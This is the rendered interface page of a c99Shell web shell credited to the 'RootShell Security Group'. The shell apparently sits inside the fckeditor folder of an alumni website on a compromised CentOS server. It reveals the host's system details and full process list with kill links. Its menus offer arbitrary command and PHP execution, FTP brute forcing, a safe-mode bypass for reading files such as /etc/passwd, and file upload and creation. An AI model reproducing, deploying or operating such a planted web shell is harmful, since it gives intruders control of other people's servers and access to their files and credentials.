!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/inc/fckeditor/editor/lang/   drwxr-xr-x
Free 46.07 GB of 127.8 GB (36.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Processes:
USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND
mysql33970.40.415139235048?SlMar119:22/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sockKILL
gdm38300.00.23348018368?SsMar110:00/usr/libexec/gdmgreeterKILL
apache109150.00.23476017360?SMar120:26/usr/sbin/httpdKILL
apache35750.00.23412416624?SMar111:30/usr/sbin/httpdKILL
apache111220.00.13377615792?SMar120:26/usr/sbin/httpdKILL
apache73640.00.13322815772?SMar120:29/usr/sbin/httpdKILL
apache73890.00.13364015288?SMar120:32/usr/sbin/httpdKILL
apache312360.00.13216413532?S03:160:07/usr/sbin/httpdKILL
root36760.00.11564813528?SsMar110:01/usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.confKILL
root36520.00.12554810280?SNMar110:00/usr/bin/python -tt /usr/sbin/yum-updatesdKILL
apache19260.00.1282929564?S04:410:00/usr/sbin/httpdKILL
apache297560.00.1274528832?S02:120:05/usr/sbin/httpdKILL
root34910.00.0228286660?SsMar110:00/usr/sbin/httpdKILL
root38030.00.0112965304tty7Ss+Mar110:03/usr/bin/Xorg :0 -br -audit 0 -auth /var/gdm/:0.Xauth -nolisten tcp vt7KILL
root32790.00.0134684644?SMar110:00python ./hpssd.pyKILL
ntp33170.00.044004396?SLsMar110:00ntpd -u ntp:ntp -p /var/run/ntpd.pid -gKILL
6831860.00.062964276?SsMar110:01haldKILL
root38020.00.0274964188?SlMar110:00/usr/libexec/gdm-rh-security-token-helperKILL
root36940.00.0155562880?SsMar110:00/usr/sbin/gdm-binary -nodaemonKILL
root35060.40.087042688?Ss05:440:00sshd: unknown [priv]KILL
root33010.00.0101442360?SsMar110:00cupsdKILL
root38000.00.0161682332?SMar110:00/usr/sbin/gdm-binary -nodaemonKILL
root34630.00.093321932?SsMar110:00sendmail: accepting connectionsKILL
xfs35290.00.038401688?SsMar110:00xfs -droppriv -daemonKILL
smmsp34710.00.081721532?SsMar110:00sendmail: Queue runner@01:00:00 for /var/spool/clientmqueueKILL
root32570.00.0293081376?SslMar110:00automountKILL
root31630.00.0231121364?SslMar110:00pcscdKILL
sshd35070.20.084121352?S05:440:00sshd: unknown [net]KILL
avahi35730.00.026001260?SsMar110:00avahi-daemon: running [mx-ll-110-164-51-230.local]KILL
root33500.00.045361212?SMar110:00/bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid --user=mysqlKILL
root36540.00.025641124?SNMar110:00/usr/libexec/gam_serverKILL
root35000.00.052881108?SsMar110:00crondKILL
root31870.00.031641092?SMar110:00hald-runnerKILL
root32920.00.070681068?SsMar110:03/usr/sbin/sshdKILL
dbus30710.00.02748940?SsMar110:00dbus-daemon --systemKILL
root7710.00.02476928?S<sMar110:00/sbin/udevd -dKILL
root30320.00.01968832?SsMar110:00rpc.statdKILL
apache35090.00.02184828?R05:450:00ps -auxKILL
root28570.00.013100816?S<slMar110:00/sbin/audispdKILL
6831950.00.02020812?SMar110:00hald-addon-acpi: listening on acpid socket /var/run/acpid.socketKILL
6831980.00.02020800?SMar110:00hald-addon-keyboard: listening on /dev/input/event1KILL
6832010.00.02020800?SMar110:00hald-addon-keyboard: listening on /dev/input/event0KILL
root28550.00.012520768?S<slMar110:01auditdKILL
root30800.00.02172764?SsMar110:00/usr/sbin/hcidKILL
root30560.00.05820648?SsMar110:00rpc.idmapdKILL
root10.00.02072636?SsMar110:01init [5]KILL
rpc29790.00.01816604?SsMar110:00portmapKILL
root28790.00.01728568?SsMar110:02syslogd -m 0KILL
root31730.00.01676532?SsMar110:00/usr/sbin/acpidKILL
root30840.00.01748512?SsMar110:00/usr/sbin/sdpdKILL
root32740.00.05156504?SsMar110:00./hpiodKILL
root32290.00.01916460?SsMar110:00/usr/bin/hidd --serverKILL
root36460.00.03516440?SMar110:00/usr/sbin/smartd -q neverKILL
root35460.00.02268432?SsMar110:00/usr/sbin/atdKILL
root36910.00.01664428tty5Ss+Mar110:00/sbin/mingetty tty5KILL
root36830.00.01664428tty3Ss+Mar110:00/sbin/mingetty tty3KILL
root36810.00.01664424tty1Ss+Mar110:00/sbin/mingetty tty1KILL
root36840.00.01664424tty4Ss+Mar110:00/sbin/mingetty tty4KILL
root36820.00.01664424tty2Ss+Mar110:00/sbin/mingetty tty2KILL
root36930.00.01664420tty6Ss+Mar110:00/sbin/mingetty tty6KILL
root28820.00.01680404?SsMar110:00klogd -xKILL
root29680.00.02472376?SsMar110:00irqbalanceKILL
root34800.00.01908364?SsMar110:00gpm -m /dev/input/mice -t exps2KILL
avahi35740.00.02600304?SsMar110:00avahi-daemon: chroot helperKILL
root500.00.000?S<Mar110:00[kblockd/5]KILL
root470.00.000?S<Mar110:00[kblockd/2]KILL
root480.00.000?S<Mar110:00[kblockd/3]KILL
root460.00.000?S<Mar110:00[kblockd/1]KILL
root490.00.000?S<Mar110:00[kblockd/4]KILL
root450.00.000?S<Mar110:00[kblockd/0]KILL
root80.00.000?S<Mar110:00[migration/2]KILL
root310.00.000?S<Mar110:00[events/5]KILL
root320.00.000?S<Mar110:00[events/6]KILL
root330.00.000?S<Mar110:00[events/7]KILL
root350.00.000?S<Mar110:00[kthread]KILL
root340.00.000?S<Mar110:00[khelper]KILL
root510.00.000?S<Mar110:00[kblockd/6]KILL
root520.00.000?S<Mar110:00[kblockd/7]KILL
root1950.00.000?S<Mar110:00[cqueue/7]KILL
root1980.00.000?S<Mar110:00[khubd]KILL
root2000.00.000?S<Mar110:00[kseriod]KILL
root3020.00.000?SMar110:00[pdflush]KILL
root3010.00.000?SMar110:00[khungtaskd]KILL
root1940.00.000?S<Mar110:00[cqueue/6]KILL
root1930.00.000?S<Mar110:00[cqueue/5]KILL
root1880.00.000?S<Mar110:00[cqueue/0]KILL
root530.00.000?S<Mar110:00[kacpid]KILL
root1890.00.000?S<Mar110:00[cqueue/1]KILL
root1900.00.000?S<Mar110:00[cqueue/2]KILL
root1920.00.000?S<Mar110:00[cqueue/4]KILL
root1910.00.000?S<Mar110:00[cqueue/3]KILL
root300.00.000?S<Mar110:00[events/4]KILL
root290.00.000?S<Mar110:00[events/3]KILL
root140.00.000?S<Mar110:00[migration/4]KILL
root150.00.000?SNMar110:00[ksoftirqd/4]KILL
root160.00.000?S<Mar110:00[watchdog/4]KILL
root180.00.000?SNMar110:00[ksoftirqd/5]KILL
root170.00.000?S<Mar110:00[migration/5]KILL
root130.00.000?S<Mar110:00[watchdog/3]KILL
root120.00.000?SNMar110:00[ksoftirqd/3]KILL
root90.00.000?SNMar110:00[ksoftirqd/2]KILL
root100.00.000?S<Mar110:00[watchdog/2]KILL
root70.00.000?S<Mar110:00[watchdog/1]KILL
root110.00.000?S<Mar110:00[migration/3]KILL
root3030.00.000?SMar110:00[pdflush]KILL
root60.00.000?SNMar110:00[ksoftirqd/1]KILL
root50.00.000?S<Mar110:00[migration/1]KILL
root250.00.000?S<Mar110:00[watchdog/7]KILL
root260.00.000?S<Mar110:00[events/0]KILL
root270.00.000?S<Mar110:00[events/1]KILL
root20.00.000?S<Mar110:00[migration/0]KILL
root280.00.000?S<Mar110:00[events/2]KILL
root240.00.000?SNMar110:00[ksoftirqd/7]KILL
root230.00.000?S<Mar110:00[migration/7]KILL
root30.00.000?SNMar110:00[ksoftirqd/0]KILL
root40.00.000?S<Mar110:00[watchdog/0]KILL
root190.00.000?S<Mar110:00[watchdog/5]KILL
root200.00.000?S<Mar110:00[migration/6]KILL
root220.00.000?S<Mar110:00[watchdog/6]KILL
root210.00.000?SNMar110:00[ksoftirqd/6]KILL
root6170.00.000?S<Mar110:00[scsi_eh_4]KILL
root3040.00.000?S<Mar110:00[kswapd0]KILL
root22850.00.000?S<Mar110:00[kmpath_handlerd]KILL
root23560.00.000?S<Mar110:00[kjournald]KILL
root29410.00.000?S<Mar110:00[kondemand/0]KILL
root29430.00.000?S<Mar110:00[kondemand/2]KILL
root29420.00.000?S<Mar110:00[kondemand/1]KILL
root22840.00.000?S<Mar110:00[kmpathd/7]KILL
root22830.00.000?S<Mar110:00[kmpathd/6]KILL
root22780.00.000?S<Mar110:00[kmpathd/1]KILL
root22790.00.000?S<Mar110:00[kmpathd/2]KILL
root22800.00.000?S<Mar110:00[kmpathd/3]KILL
root22820.00.000?S<Mar110:00[kmpathd/5]KILL
root22810.00.000?S<Mar110:00[kmpathd/4]KILL
root29440.00.000?S<Mar110:00[kondemand/3]KILL
root29450.00.000?S<Mar110:00[kondemand/4]KILL
root30160.00.000?S<Mar110:00[rpciod/4]KILL
root30170.00.000?S<Mar110:00[rpciod/5]KILL
root30180.00.000?S<Mar110:00[rpciod/6]KILL
root31260.00.000?S<Mar110:00[krfcommd]KILL
root30190.00.000?S<Mar110:00[rpciod/7]KILL
root30140.00.000?S<Mar110:00[rpciod/3]KILL
root30130.00.000?S<Mar110:00[rpciod/2]KILL
root29460.00.000?S<Mar110:00[kondemand/5]KILL
root29470.00.000?S<Mar110:00[kondemand/6]KILL
root29480.00.000?S<Mar110:00[kondemand/7]KILL
root30120.00.000?S<Mar110:00[rpciod/1]KILL
root30110.00.000?S<Mar110:00[rpciod/0]KILL
root22770.00.000?S<Mar110:00[kmpathd/0]KILL
root7380.00.000?S<Mar110:00[kauditd]KILL
root3120.00.000?S<Mar110:00[aio/7]KILL
root4790.00.000?S<Mar110:00[kpsmoused]KILL
root5840.00.000?S<Mar110:00[mpt_poll_0]KILL
root5860.00.000?S<Mar110:00[scsi_eh_0]KILL
root5850.00.000?S<Mar110:00[mpt/0]KILL
root3110.00.000?S<Mar110:00[aio/6]KILL
root3100.00.000?S<Mar110:00[aio/5]KILL
root3050.00.000?S<Mar110:00[aio/0]KILL
root3060.00.000?S<Mar110:00[aio/1]KILL
root3070.00.000?S<Mar110:00[aio/2]KILL
root3090.00.000?S<Mar110:00[aio/4]KILL
root3080.00.000?S<Mar110:00[aio/3]KILL
root5960.00.000?S<Mar110:00[ata/0]KILL
root5970.00.000?S<Mar110:00[ata/1]KILL
root6150.00.000?S<Mar110:00[scsi_eh_2]KILL
root6160.00.000?S<Mar110:00[scsi_eh_3]KILL
root6360.00.000?S<Mar110:00[kstriped]KILL
root7120.00.000?S<Mar110:04[kjournald]KILL
root6730.00.000?S<Mar110:00[ksnapd]KILL
root6140.00.000?S<Mar110:00[scsi_eh_1]KILL
root6040.00.000?S<Mar110:00[ata_aux]KILL
root5990.00.000?S<Mar110:00[ata/3]KILL
root5980.00.000?S<Mar110:00[ata/2]KILL
root6000.00.000?S<Mar110:00[ata/4]KILL
root6010.00.000?S<Mar110:00[ata/5]KILL
root6030.00.000?S<Mar110:00[ata/7]KILL
root6020.00.000?S<Mar110:00[ata/6]KILL

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0295 ]--